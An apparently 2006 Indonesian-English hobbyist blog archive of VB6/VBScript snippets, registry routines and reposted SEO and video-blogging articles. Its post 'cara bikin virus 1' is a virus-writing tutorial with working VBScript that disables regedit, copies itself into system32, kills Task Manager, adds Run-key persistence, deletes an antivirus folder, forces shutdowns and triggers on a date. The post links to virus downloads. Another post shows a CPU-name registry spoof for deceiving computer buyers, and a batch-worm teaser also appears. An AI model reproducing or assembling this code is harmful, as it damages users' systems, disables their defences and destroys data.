Saturday, December 30, 2006

Copy and move using the API

'Declarations
Private Declare Function CopyFile Lib "kernel32" Alias _
"CopyFileA" (ByVal lpExistingFileName As String, ByVal _
lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function MoveFile Lib "kernel32" Alias _
"MoveFileA" (ByVal lpExistingFileName As String, ByVal _
lpNewFileName As String) As Long

'Code
Sub CopyMove()
Dim strSource As String
Dim strTarget As String
Dim lngRetVal As Long


strSource = "C:\rizoa.exe"
strTarget = "C:\windows\rizoa.exe"


read more...

Links to this post

Create a Link

minimize and restore all window

Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName _
As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" _
(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
ByVal lParam As Long) As Long

Private Const WM_COMMAND As Long = &H111
Private Const MIN_ALL As Long = 419
Private Const MIN_ALL_UNDO As Long = 416

Public Sub MinimizeAll()

   Dim lngHwnd As Long
 
   lngHwnd = FindWindow("Shell_TrayWnd", vbNullString)
   Call PostMessage(lngHwnd, WM_COMMAND, MIN_ALL, 0&)

End Sub

Public Sub RestoreAll()

   Dim lngHwnd As Long
 
   lngHwnd = FindWindow("Shell_TrayWnd", vbNullString)
   Call PostMessage(lngHwnd, WM_COMMAND, MIN_ALL_UNDO, 0&)

End Sub

read more...

Links to this post

Create a Link

Change the Windows wallpaper using the SystemParametersInfo API

' Change the Windows wallpaper using the SystemParametersInfo API.
Private Sub Command1_Click()

Dim t As Long
Dim Wallpaper As String
Dim filename As String

CommonDialog1.Action = 1
filename = CommonDialog1.filename
Wallpaper = filename

If Wallpaper = "" Then Exit Sub
t = SystemParametersInfo(ByVal 20, vbnostring, ByVal Wallpaper, &H1)

If t = 0 Then
 MousePointer = 0
 MsgBox "Error changing wallpaper"
 Exit Sub
End If

End Sub



read more...

Links to this post

Create a Link

" Windows Operation "

'Launch Windows Modem Properties
Dim dblReturn As Double
dblReturn = Shell("rundll32.exe shell32.dll,
Control_RunDLL modem.cpl", 5)

'Launch Windows Mouse Properties
Dim dblReturn As Double
dblReturn = Shell("rundll32.exe shell32.dll,
Control_RunDLL main.cpl @0", 5)

'Launch Windows Multimedia Properties
Dim dblReturn As Double
dblReturn = Shell("rundll32.exe shell32.dll,
Control_RunDLL mmsys.cpl,,0", 5)

'Launch Windows Network
Dim dblReturn As Double
dblReturn = Shell("rundll32.exe shell32.dll,
Control_RunDLL netcpl.cpl", 5)

'Launch Windows Password Properties
Dim dblReturn As Double
dblReturn = Shell("rundll32.exe shell32.dll,
Control_RunDLL password.cpl", 5)

'Launch Windows Regional Settings
Dim dblReturn As Double
dblReturn = Shell("rundll32.exe shell32.dll,
Control_RunDLL intl.cpl,,0", 5)

'Launch Windows System Properties
Dim dblReturn As Double
dblReturn = Shell("rundll32.exe shell32.dll,
Control_RunDLL sysdm.cpl,,0", 5)
read more...

Links to this post

Create a Link

get windows directory using API call

'DECLARATION
Public Const MAX_PATH = 260
Declare Function GetWindowsDirectory Lib "kernel32"
Alias "GetWindowsDirectoryA"
(ByVal lpBuffer As String, ByVal nSize As Long) As Long

'CODE
Dim strBuffer As String
Dim lngReturn As Long
Dim strWindowsDirectory As String

strBuffer = Space$(MAX_PATH)
lngReturn = GetWindowsDirectory(strBuffer, MAX_PATH)
strWindowsDirectory = Left$(strBuffer, Len(strBuffer) - 1)




read more...

Links to this post

Create a Link

Get windows system directory using API call

'DECLARATION
Public Const MAX_PATH = 260
Declare Function  GetSystemDirectory Lib "kernel32"
Alias "GetWindowsDirectoryA"
(ByVal lpBuffer As String, ByVal nSize As Long) As Long

'CODE
Dim strBuffer As String
Dim lngReturn As Long
Dim strWindowsSystemDirectory As String

strBuffer = Space$(MAX_PATH)
lngReturn = GetSystemDirectory(strBuffer, MAX_PATH)
strWindowsSystemDirectory = Left$(strBuffer, Len(strBuffer) - 1)




read more...

Links to this post

Create a Link

Mengubah tampilan prossesor

Ngutek-uteg registry lagi....

mengubah tampilan ato tampang ato apalah aku nggak tau namanya..kalo nggak salah, tampilan central processor pada system properties.
caranya, masuk regedit dan ganti

Key : HKEY_LOCAL_MACHINE\HARDWARE\ DESCRIPTION\System\CentralProcessor\0
Value name : ProcessorNameString
Type : Reg_SZ
Data : "diisi pake type processor yang kamu pengennin "

tapi jangan dipake buat niat jahat.. tar, lo jual komputer lo ganti tuh system :-)hehehe,,,,
Satu lagi,, tuh tampilan akan balik lagi kek semula kalo kamu restart..
nah,, biar tampilannya brubah lagi,, pake yang otomatis aja,, kamu tulis pake vbsfile bisa pake punyaku kek gini.

CreateObject("WScript.Shell").RegWrite "HKEY_LOCAL_MACHINE\ HARDWARE\DESCRIPTION\System\CentralProcessor\ 0\ProcessorNameString" , " Intel(R) Core2 Duo E6600(R) CPU "
simpen pake format *.vbs trus kopiin ke start menu - startup
selamat mencoba.. good luck!!

read more...

Links to this post

Create a Link

Saturday, December 23, 2006

view generated "Video.SWF" flash movie

view generated "Video.SWF" flash movie

' Video.vbs
W = 640
H = 480
Set Movie = CreateObject("SWFScout.FlashMovie")
Movie.InitLibrary "demo","demo"

' Movie creating and setting parameters

Movie.BeginMovie 0,0,W,H,1,12,6
Movie.Compressed = true
Movie.SetBackgroundColor 255,255,255

Font = Movie.AddFont( "Arial",12,true,false,false,false,0)
FontBig = Movie.AddFont("Arial",40,true,false,false,false,DEFAULT_CHARSET)

'//////////////////////////
' VIDEO
'/////////////////////////

Text = Movie.AddText2 ("Video",0,0,0,255,FontBig, W / 2, 60,2)
Movie.PlaceText Text,Movie.CurrentMaxDepth ' place text

Video= Movie.AddVideoFromFileName("test.flv")
Movie.FramesPerSecond= Movie.VIDEO_FramesPerSecond
Movie.PlaceVideo Video,Movie.CurrentMaxDepth
Movie.PLACE_SetTranslate 190,150
Movie.ShowFrame Movie.VIDEO_FrameCount + 10

Movie.EndMovie
Movie.SaveToFile "Video.swf"

original url view generated "Video.SWF" flash movie
read more...

Links to this post

Create a Link

cara bikin virus 1

cara mudah bikin virus "versi 1"

Sebelumnya, berikut ini cara-cara paling gampang untuk membuat virus.
semua hal dibawah ini hanya sebagai penambah pengetahuan kita saja
dan tidak boleh disalah gunakan untuk hal-hal yang bersifat merusak.
Dan saya tidak bertanggung jawab jika itu terjadi. Sekarang kita akan
membahas cara gampang membuat virus pake vbs file.

pertama, berikut ini hal-hal yang wajib kita siapin sebelum membuat virus.
# seperangkat komputer berikut monitor,cpu,mouse,kibor, dll (wajib)
# kita harus menyiapkan sebuah file yang ber-ekstensi vbs (*.vbs)
# secangkir teh anget.
# akan lebih afdoL kalo ditemenin lagu2nya rhcp (aku ngefans ma rhcp)

Untuk eksekusi pertama, yang dilakukan virus biasanya mengubah registry.
Sebenarnya udah aku bahas di blogku ini. tapi nggak papa aku ulangin aja.
biar keliatan resmi :-). misalnya:

1. mendisable regedit. Yang kita tulis:
On Error Resume Next(perintah ini digunakan pada file vb
supaya kalo ada yang salah bisa dilanjutin kode selanjutnya)
CreateObject("WScript.Shell").run "cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\policies\system /v
disableregistrytools /t reg_dword /d ""1"" /f", vbhide

sebenarnya banyak cara untuk mendisable regedit. misalnya kek gini:
CreateObject("WScript.Shell").regwriteHKEY_CURRENT_USERsoftware\microsoft\windows\currentversion\policies\systemdisableregistrytools", 1, "REG_DWORD"

lalu mengubah registry yang lain. yang nggak aku bahas disini karena
udah pernah aku bahas pada postingan yang lain di blogku ini.

2. mengopikan diri ke direktory lain

CreateObject("Scripting.FileSystemObject").
GetFile(WScript.ScriptFullName).Copy "c:\windows\system32\virus.vbs"
Ada juga cara lain dengan kide seperti ini:
On Error Resume Next
createobject("scripting.filesystemobject").copyfile wscript.scriptfullname,
createobject("scripting.filesystemobject")
.getspecialfolder(1) & "\virus.vbs"
misalnya untuk mengkopikan diri ke direktory C:\WINDOWS\System32
dengan nama virus.vbs
.getspecialfolder(0) digunakan untuk direktory WINDOWS
.getspecialfolder(1) digunakan untuk direktory SYSTEM32 pada windowsXP
.getspecialfolder(2) digunakan untuk direktory Temporary

3.Membunuh proses.
digunakan untuk membunuh proses
(proses adalah program yang sedang berjalan)
misalnya kita akan membunuh proses taskmanager
On Error Resume Next
CreateObject("WScript.Shell")
.run "taskkill /f /im taskmgr.exe", vbhide

4.Menjalankan virus pada saat startup atau saat windows dihidupkan.
menggunakan regedit
On Error Resume Next
CreateObject("WScript.Shell").RegWrite "HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\CurrentVersion\Run\virus"
, "c:\windows\system32\virus.vbs"
(menjalankan virus yang berada di direktory c:\windows\system32
dengan nama virus.vbs)

5.Menghapus File / Folder
agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini:
On Error Resume Next
set hapus = CreateObject("Scripting.FileSystemObject")
hapus.DeleteFile "C:\xxx.exe" '(menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder "C:\antivirus" '(menghapus folder antivirus di direktory C:\)

6.Merestart Windows
CreateObject("WScript.Shell").run "shutdown -r -f -t 60", vbhide
merestart windows dalam waktu 60 sekon

7.Meng-ShutDown Windows
CreateObject("WScript.Shell").run "shutdown -s-f -t 60", vbhide
mematikan windows dalam waktu 60 sekon :)yang beda cuman
"shutdown -s-f -t 60"
S = untuk shutdown dan
R = untuk reboot\restart

8. Mengaktifkan Virus Pada Waktu tertentu
If day(now) = 1 and month(now) = 1 and year(now) = 2007 then
'(masukkan kode virus disini)
End if
'misalnya kalo mau mengaktifkan pada tanggal 1, bulan 1
'dan tahun 2007

Ok. Pelajaran bikin virus untuk hari ini saya kira udah cukup.
walaupun udah sering dibahas,, nggak papalah,,,, itung-itung
buat nambahin pengetahuan kita. dan semoga bermanfaat :-)


segera!!! cara bikin virus selanjutnya...tunggu saja di blog ini...

lebih jauh bikin virus?? disini tempatnya virus.. boleh download virus2 lokal hwe... disini http://xoor.co.cc/



hari gini bikin virus?? engga lagi deh., dari pada susah2 belajar bikin virus yang pusing2 itu., mendingan di pending dulu .. nah.. ada info bagus banged.. lebih bagus daripada bikin virus nah., pengen taw caranya ngedapetin duit lewat internet?? nah mending langsung aja baca., disini kita bisa ngedapetin duit dengan mudah., ada infonya disini...[beneran, nggak boong]

Labels:

read more...

Links to this post

Create a Link

Thursday, December 21, 2006

How to Start Video Blogging?

by: Kanicen Nichathavan
Videoblogging is the next generation of posting ideas and products over the internet. Everybody knows about textblogging. Now they use videos for a better way of expression. This form of communication may entail a lot of resources, but it is all worth it. If pictures say a thousand words, videoblogging exceeds that by far. How to Start Video Blogging?

Process on Optimizing your Site through Keywords

by: Kristine Joy Francisco
There are a lot of things to analyze on your site before you start optimizing your site. Such things are your site overview, nature of business, home page, site dimension and number of pages, product/services categories, page rank and indexed pages for major search engines, link popularity, and a lot more. After that you will go to your onpage and offpage optimization.Process on Optimizing your Site through Keywords

Various registry routines

Declaration
Global Const REG_SZ As Long = 1
Global Const REG_DWORD As Long = 4
Global Const HKEY_CLASSES_ROOT = &H80000000
Global Const HKEY_CURRENT_USER = &H80000001
Global Const HKEY_LOCAL_MACHINE = &H80000002
Global Const HKEY_USERS = &H80000003

read more


Reading / Writing any Registry Key


Declarations
' module declarations
Public Const READ_CONTROL = &H20000
Public Const STANDARD_RIGHTS_READ = (READ_CONTROL)
Public Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)
Public Const KEY_QUERY_VALUE = &H1
Public Const KEY_SET_VALUE = &H2
Public Const KEY_CREATE_SUB_KEY = &H4
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const KEY_NOTIFY = &H10

Public Const KEY_CREATE_LINK = &H20
Public Const SYNCHRONIZE = &H100000
Public Const STANDARD_RIGHTS_ALL = &H1F0000
Public Const KEY_READ = ((STANDARD_RIGHTS_READ Or _
KEY_QUERY_VALUE Or
KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) _
And (Not SYNCHRONIZE))

Public Const KEY_WRITE = ((STANDARD_RIGHTS_WRITE Or _
KEY_SET_VALUE Or KEY_CREATE_SUB_KEY)
And (Not SYNCHRONIZE))
Public Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or _
KEY_QUERY_VALUE Or KEY_SET_VALUE
Or KEY_CREATE_SUB_KEY _

Or KEY_ENUMERATE_SUB_KEYS
Or KEY_NOTIFY Or KEY_CREATE_LINK) _
And (Not SYNCHRONIZE))
Public Const KEY_EXECUTE = ((KEY_READ) And (Not SYNCHRONIZE))

write-any-registry


Registry Functions

Declarations
Private Type FILETIME
lLowDateTime As Long
lHighDateTime As Long
End Type

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias
"RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String,
ByVal ulOptions As Long, ByVal samDesired As Long,
phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll"
(ByVal hKey As Long) As Long

Private Declare Function RegCreateKey Lib "advapi32.dll"
Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String,
phkResult As Long) As Long
Registry Functions


sTrESssss,,,,,

se-Minggu ini aDalah yang paling bikin aku stresss!!!<(red: gara" tes)>Gimana enggak,, seminggu full<(pdhl cuman 6hr)>ujian smester, mana
kalo blajar gak prnah bisa konsen lagi,, palagi ama

SMS gratis ....

sms gratisPengen sms gratis??? pengen dunk :) eit tunggu duluu..
gampang kok caranya. Udah gitu,, legal lagi,!!
kirimnya pun bisa kemana ajah.alias sesukamu!!! !!
ato beda operator gitu,,,Mo tau caranya??














Mengganti Registry [regedit] menggunakan vbscript file,,,,,

1. mendisable regedit
key : HKEY_CURRENT_USER\Software\Microsoft\Windows
CurrentVersion\Policies\System

name: Disableregistrytools

type : DWord

Bikin Virus pake batch file,,,

generated source code of batch virus...
Create worm with batch file (MS DOS Batch File)

[http://riza-masykur.blogspot.com]

Email : luv1st_assistenza@yahoo.com
Very simple viruses with MS DOS Batch File (*.bat).



# Copy File

ex:
copy virus to windir (windows directory)
copy virus to specific directory
copy random name








Bikin Situs, Hosting, Domain gratiss,,,


PCI Free Host - http://pcifreehost.com/

12Mb with 512Mb monthly bandwidth. 256kb filesize limit. Banner ad on each page.
Email forwarding. CGI scripts: webring, message board, form mailer and counter. URL:
´http://yoursite.pcizone.com/´.

EGAO.com - http://www.egao.com/

5Mb. FTP uploads. URL: ´http://www.egao.com/dir/yoursite/´.
read more...

Links to this post

Create a Link

"How to Start Video Blogging?"

How to Start Video Blogging?

by: Kanicen Nichathavan
Videoblogging is the next generation of posting ideas and products over the internet. Everybody knows about textblogging. Now they use videos for a better way of expression. This form of communication may entail a lot of resources, but it is all worth it. If pictures say a thousand words, videoblogging exceeds that by far.

A videoblog requires larger disk spaces on websites, a faster server, and a whole new set of programs to support it. Videoblogs can be fed through RSS. This is technology of syndicating your website to other RSS aggregators.

Videoblogging works with people on the internet expressing their selves. Now if you put this on a business prospective, you are up to a lot of benefits. Think of it as a powerful tool in making showing your prospective customers your line of products or your services. It’s just like showing a commercial all for free. And if you videoblog through RSS, then most probably you are getting your target market.

People like to see what they are going to buy. Some would like to see proof and be sure that they are getting their money’s worth before shelving their dimes on it. All of us know the influence of a thirty second commercial. The effect of videoblogging is similar to that. You show your product, people watch it. If they like it, they buy it. If you present it good enough, they’ll buy the product even if they don’t need it.

Now on the web, things are pretty much static, unlike in television in which all are moving. If you post something that is mobile, it would most likely catch attention. Now imaging your product parading in all it’s royalty through videoblog. You’ll get phone call orders in no time.

If your business is just starting up, you can create a videoblog right at your own home. All you need is your web camera, microphone, video software, and lights. For as long as you know how to use your camera, then you can create a videoblog.

Invest in a good web camera. The higher its resolution is the better the output. And you like to present your goods in the optimum way so get the best one possible. Make a short story, or just capture your goods in one go. Just make sure you are getting the best profile for each. Get those creativity juices flowing.

Lights are important in a production. Make sure you illuminate entirely the area you are going to use to create videoblog. The brighter the area, the crispier the images will be. You can also use lighting effects for added appeal to the presentation.

Should you require sounds for your videoblog, you need a microphone. Record you voice as a voice over for promoting the product and its benefit to consumers. Sounds are as important as videos on a videoblog. It is advisable to make your sound effects as enticing as the video.

Your video editing software can be any program. You need this to finalize your work. You can add sounds, delete some bad angles, or insert some still pictures in there too. Some programs are user-friendly and can be used even with zero knowledge on video editing. Even simple video editing programs should do the trick. Select your background carefully too. The light affects the presentation so make sure that the background and the light complements each other.

Videoblogging is a great tool but it also has it downside. It may slow down the computer so other may steer clear of it. Download time may also be time consuming especially if customer is still on a dial- up connection.

But don’t let those stop you. Let videoblogging be an alternative for you, though it is best to still keep the text and pictures present in your presentation to accommodate all possible viewers of your site.

Nowadays, the more creative you are in presenting your product to the market, they more you are likely to succeed. Videoblogging offers an interactive way of selling. You involve the customers. You instill in them the advantage of your goods. And at times, those are enough to make a sale.

About The Author

Kanicen Nichathavan is the owner of Kanicen's Blog, Kanicen's Blog welcomes everyone who intends to share knowledge, interesting products, ideas and those who want to start Internet Online Business. You will find all kind of Internet Marketing Tools and resources. For Newbie and Internet Marketers this blog will be the best option for lowest prices of all kind of Internet Marketing Tools at http://www.kanicen.com.

read more...

Links to this post

Create a Link

"Process on Optimizing your Site through Keywords"

by: Kristine Joy Francisco

There are a lot of things to analyze on your site before you start optimizing your site. Such things are your site overview, nature of business, home page, site dimension and number of pages, product/services categories, page rank and indexed pages for major search engines, link popularity, and a lot more. After that you will go to your onpage and offpage optimization.

Analyze your site and think of a generic word that best fits for your web site. Choosing the right keywords is a strategy for better search engine positioning http://www.searchengines.com/placement.html. Analyze your business carefully and think of all the words that relate to your company or product. Most techniques to improve your search engine rankings have one thing in common -- Keywords. Choosing appropriate keywords is very important. Keywords are what lead search engine users to your site.

That word will act as your major keyword for your site. Then find a keyword tool that will help you generate keywords for your site. There are lots of keyword tools like http://inventory.overture.com. Type in the major keyword that you had thought of and it’ll list all related keywords that you can use. On the tool you’ll see the number of counts your keyword has been searched. Person new on search engine optimization might use the keyword with a lot of counts (I, sure did that before) immediately but SEO experts says that Do NOT use it for a start as keyword searched as many times will just give you a lot of competition and give your site less probability in regards to your visitors. So it is best to start with keywords with a little rivalry. Get some traffic with those keywords and eventually focus on the major keywords.

Examine those sites ranked from 1-10 on the keywords you chose to use in optimizing your site. Check everything about the site that is ranked highly on the search engine. Its URL, see if it is the top level webpage or it is the index page of the site as if it is not you can have a great chance to improve your index page for the target keyword and have a better placement in the SERP’s. Sites page rank. Page rank is Google’s way of giving specific value to how popular your website is. It is based on the number of links you have pointing to your website. Then check their page source, see if their actually optimizing their site for some onpage optimization factors. Factors such as title tag, check if they use the keyword on their title tag which is one of the main reasons why a site is rank well on search engine. Header tags are used to separate topics and range from h1 being very large and bold and h6 which is very small and bold, it should contain your most important keyword or keyword phrases to assist you in ranking higher on Search Engines. Image alt tags are words that will be displayed in place of your image through an older browser or when your visitors have their image turned off, insert a readable keyword phrase within the alt tags of your image and it’ll help you on your rankings. And on the main content if they use the keyword on the beginning and at the end of the page, also whether or not they’ve bolded, underlined, or italicized the keywords on that page. By continuing this process on other keywords that you’ve chose you will have an improved ranking on SERPs.

About The Author

Kristine Joy Francisco, SEO for ProAdultOutsourcing, the best choice for your professional web design and other web development needs, for more information visit http://www.proadultoutsourcing.com/.
Blog: http://www.offshore-web-design.blogspot.com/
http://www.webdesignandseo.wordpress.com/
read more...

Links to this post

Create a Link

Monday, December 18, 2006

Various registry routines

Various registry routines


Declaration

Global Const REG_SZ As Long = 1

Global Const REG_DWORD As Long = 4


Global Const HKEY_CLASSES_ROOT = &H80000000

Global Const HKEY_CURRENT_USER = &H80000001

Global Const HKEY_LOCAL_MACHINE = &H80000002

Global Const HKEY_USERS = &H80000003


Global Const ERROR_NONE = 0

Global Const ERROR_BADDB = 1

Global Const ERROR_BADKEY = 2

Global Const ERROR_CANTOPEN = 3

Global Const ERROR_CANTREAD = 4

Global Const ERROR_CANTWRITE = 5

Global Const ERROR_OUTOFMEMORY = 6

Global Const ERROR_INVALID_PARAMETER = 7

Global Const ERROR_ACCESS_DENIED = 8

Global Const ERROR_INVALID_PARAMETERS = 87

Global Const ERROR_NO_MORE_ITEMS = 259


Global Const KEY_ALL_ACCESS = &H3F


Global Const REG_OPTION_NON_VOLATILE = 0


Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long

Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long

Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long

Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long

Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long

Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long

Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String)

Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String)


Code

Public Function DeleteKey(lPredefinedKey As Long, sKeyName As String)

' Description:

' This Function will Delete a key

'

' Syntax:

' DeleteKey Location, KeyName

'

' Location must equal HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_lOCAL_MACHINE

' , HKEY_USERS

'

' KeyName is name of the key you wish to delete, it may include subkeys (example "Key1\SubKey1")


Dim lRetVal As Long 'result of the SetValueEx function

Dim hKey As Long 'handle of open key



'open the specified key



'lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)

lRetVal = RegDeleteKey(lPredefinedKey, sKeyName)

'RegCloseKey (hKey)

End Function


Public Function DeleteValue(lPredefinedKey As Long, sKeyName As String, sValueName As String)

' Description:

' This Function will delete a value

'

' Syntax:

' DeleteValue Location, KeyName, ValueName

'

' Location must equal HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_lOCAL_MACHINE

' , HKEY_USERS

'

' KeyName is the name of the key that the value you wish to delete is in

' , it may include subkeys (example "Key1\SubKey1")

'

' ValueName is the name of value you wish to delete


Dim lRetVal As Long 'result of the SetValueEx function

Dim hKey As Long 'handle of open key


'open the specified key


lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)

lRetVal = RegDeleteValue(hKey, sValueName)

RegCloseKey (hKey)

End Function


Public Function SetValueEx(ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant) As Long

Dim lValue As Long

Dim sValue As String


Select Case lType

Case REG_SZ

sValue = vValue

SetValueEx = RegSetValueExString(hKey, sValueName, 0&, lType, sValue, Len(sValue))

Case REG_DWORD

lValue = vValue

SetValueEx = RegSetValueExLong(hKey, sValueName, 0&, lType, lValue, 4)

End Select


End Function


 


 


Function QueryValueEx(ByVal lhKey As Long, ByVal szValueName As String, vValue As Variant) As Long

Dim cch As Long

Dim lrc As Long

Dim lType As Long

Dim lValue As Long

Dim sValue As String


On Error GoTo QueryValueExError


 


' Determine the size and type of data to be read


lrc = RegQueryValueExNULL(lhKey, szValueName, 0&, lType, 0&, cch)

If lrc <> ERROR_NONE Then Error 5


Select Case lType

' For strings

Case REG_SZ:

sValue = String(cch, 0)

lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch)

If lrc = ERROR_NONE Then

vValue = Left$(sValue, cch)

Else

vValue = Empty

End If


' For DWORDS

Case REG_DWORD:

lrc = RegQueryValueExLong(lhKey, szValueName, 0&, lType, lValue, cch)

If lrc = ERROR_NONE Then vValue = lValue

Case Else

'all other data types not supported

lrc = -1

End Select


QueryValueExExit:


QueryValueEx = lrc

Exit Function


QueryValueExError:


Resume QueryValueExExit


End Function

Public Function CreateNewKey(lPredefinedKey As Long, sNewKeyName As String)

' Description:

' This Function will create a new key

'

' Syntax:

' QueryValue Location, KeyName

'

' Location must equal HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_lOCAL_MACHINE

' , HKEY_USERS

'

' KeyName is name of the key you wish to create, it may include subkeys (example "Key1\SubKey1")






Dim hNewKey As Long 'handle to the new key

Dim lRetVal As Long 'result of the RegCreateKeyEx function



lRetVal = RegCreateKeyEx(lPredefinedKey, sNewKeyName, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hNewKey, lRetVal)

RegCloseKey (hNewKey)

End Function


Sub Main()

'Examples of each function:

'CreateNewKey HKEY_CURRENT_USER, "TestKey\SubKey1\SubKey2"

'SetKeyValue HKEY_CURRENT_USER, "TestKey\SubKey1", "Test", "Testing, Testing", REG_SZ

'MsgBox QueryValue(HKEY_CURRENT_USER, "TestKey\SubKey1", "Test")

'DeleteKey HKEY_CURRENT_USER, "TestKey\SubKey1\SubKey2"

'DeleteValue HKEY_CURRENT_USER, "TestKey\SubKey1", "Test"

End Sub


Public Function SetKeyValue(lPredefinedKey As Long, sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long)

' Description:

' This Function will set the data field of a value

'

' Syntax:

' QueryValue Location, KeyName, ValueName, ValueSetting, ValueType

'

' Location must equal HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_lOCAL_MACHINE

' , HKEY_USERS

'

' KeyName is the key that the value is under (example: "Key1\SubKey1")

'

' ValueName is the name of the value you want create, or set the value of (example: "ValueTest")

'

' ValueSetting is what you want the value to equal

'

' ValueType must equal either REG_SZ (a string) Or REG_DWORD (an integer)


Dim lRetVal As Long 'result of the SetValueEx function

Dim hKey As Long 'handle of open key


'open the specified key


lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)

lRetVal = SetValueEx(hKey, sValueName, lValueType, vValueSetting)

RegCloseKey (hKey)


End Function


Public Function QueryValue(lPredefinedKey As Long, sKeyName As String, sValueName As String)

' Description:

' This Function will return the data field of a value

'

' Syntax:

' Variable = QueryValue(Location, KeyName, ValueName)

'

' Location must equal HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_lOCAL_MACHINE

' , HKEY_USERS

'

' KeyName is the key that the value is under (example: "Software\Microsoft\Windows\CurrentVersion\Explorer")

'

' ValueName is the name of the value you want to access (example: "link")


Dim lRetVal As Long 'result of the API functions

Dim hKey As Long 'handle of opened key

Dim vValue As Variant 'setting of queried value


lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)

lRetVal = QueryValueEx(hKey, sValueName, vValue)

'MsgBox vValue

QueryValue = vValue

RegCloseKey (hKey)

End Function









read more...

Links to this post

Create a Link

read and write any registry

Reading / Writing any Registry Key


Declarations

' module declarations


Public Const READ_CONTROL = &H20000

Public Const STANDARD_RIGHTS_READ = (READ_CONTROL)

Public Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)

Public Const KEY_QUERY_VALUE = &H1

Public Const KEY_SET_VALUE = &H2

Public Const KEY_CREATE_SUB_KEY = &H4

Public Const KEY_ENUMERATE_SUB_KEYS = &H8

Public Const KEY_NOTIFY = &H10

Public Const KEY_CREATE_LINK = &H20

Public Const SYNCHRONIZE = &H100000

Public Const STANDARD_RIGHTS_ALL = &H1F0000

Public Const KEY_READ = ((STANDARD_RIGHTS_READ Or _

KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) _

And (Not SYNCHRONIZE))

Public Const KEY_WRITE = ((STANDARD_RIGHTS_WRITE Or _

KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))

Public Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or _

KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY _

Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) _

And (Not SYNCHRONIZE))

Public Const KEY_EXECUTE = ((KEY_READ) And (Not SYNCHRONIZE))


Public Const ERROR_SUCCESS = 0&


Declare Function RegOpenKeyEx Lib "advapi32.dll" _

Alias "RegOpenKeyExA" (ByVal hKey As Long, _

ByVal lpSubKey As String, ByVal ulOptions As Long, _

ByVal samDesired As Long, phkResult As Long) As Long

Declare Function RegQueryValueEx Lib "advapi32.dll" _

Alias "RegQueryValueExA" (ByVal hKey As Long, _

ByVal lpValueName As String, ByVal lpReserved As Long, _

lpType As Long, lpData As Any, lpcbData As Long) As Long

Declare Function RegCloseKey Lib "advapi32.dll" _

(ByVal hKey As Long) As Long


Function sdaGetRegEntry(strKey As String, _

